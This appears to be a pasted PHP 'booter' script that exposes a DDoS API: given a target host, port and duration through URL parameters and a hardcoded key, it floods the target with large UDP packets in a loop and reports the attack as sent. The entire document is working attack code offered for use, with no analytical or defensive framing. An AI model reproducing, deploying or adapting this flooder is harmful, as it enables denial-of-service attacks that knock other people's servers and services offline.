· 6 years ago · Sep 19, 2019, 06:06 PM
1<?php #$_GET Requests
2$apikey = $_GET['apikey'];
3$host = $_GET['host'];
4$port = $_GET['port'];
5$exec_time = $_GET['time'];
6$method = $_GET['method'];
7
8#DDoS Info
9$max_boot_time = "7001"; #Change to desired max boot time, then +1. Example: 5000, make it 5001. ** DO NOT ADD QUOTATION MARKS(,) **
10$max_boot_time_show = "7,600 seconds."; #Change this to the desired max boot time you already picked above. Do not remove (seconds.).
11$key = "rp"; #Change this with your desired login key.
12$time = time();
13$max_time = $time + $exec_time;
14$packets = 0;
15
16#Script Settings
17set_time_limit(0);
18ignore_user_abort(FALSE);
19
20#API Verification
21if ($apikey == null) {
22 ob_end_clean();
23 echo 'Enter your API Key.';
24} else {
25}
26
27#Main
28if ($apikey == $key) {
29 if ($host == null) {
30 echo "Invalid Format: Enter a host.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
31 } else {
32 if ($port == null) {
33 echo "Invalid Format: Enter a port.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
34 } else {
35 if ($time == null) {
36 echo "Invalid Format: Enter boot time.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
37 } else {
38 if ($exec_time >= $max_boot_time) {
39 echo 'Your max boot time is ' . $max_boot_time_show . '';
40 } else {
41 for ($i = 0; $i < 65535; $i++) {
42 $out .= "X";
43 }
44 while (1) {
45 $packets++;
46 if (time() > $max_time) {
47 break;
48 }
49
50 $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
51 if ($fp) {
52 fwrite($fp, $out);
53 fclose($fp);
54 }
55 }
56 echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $exec_time . ' second(s).';
57 }
58 }
59 }
60 }
61} else {
62 echo 'Invalid API Key';
63}
64?>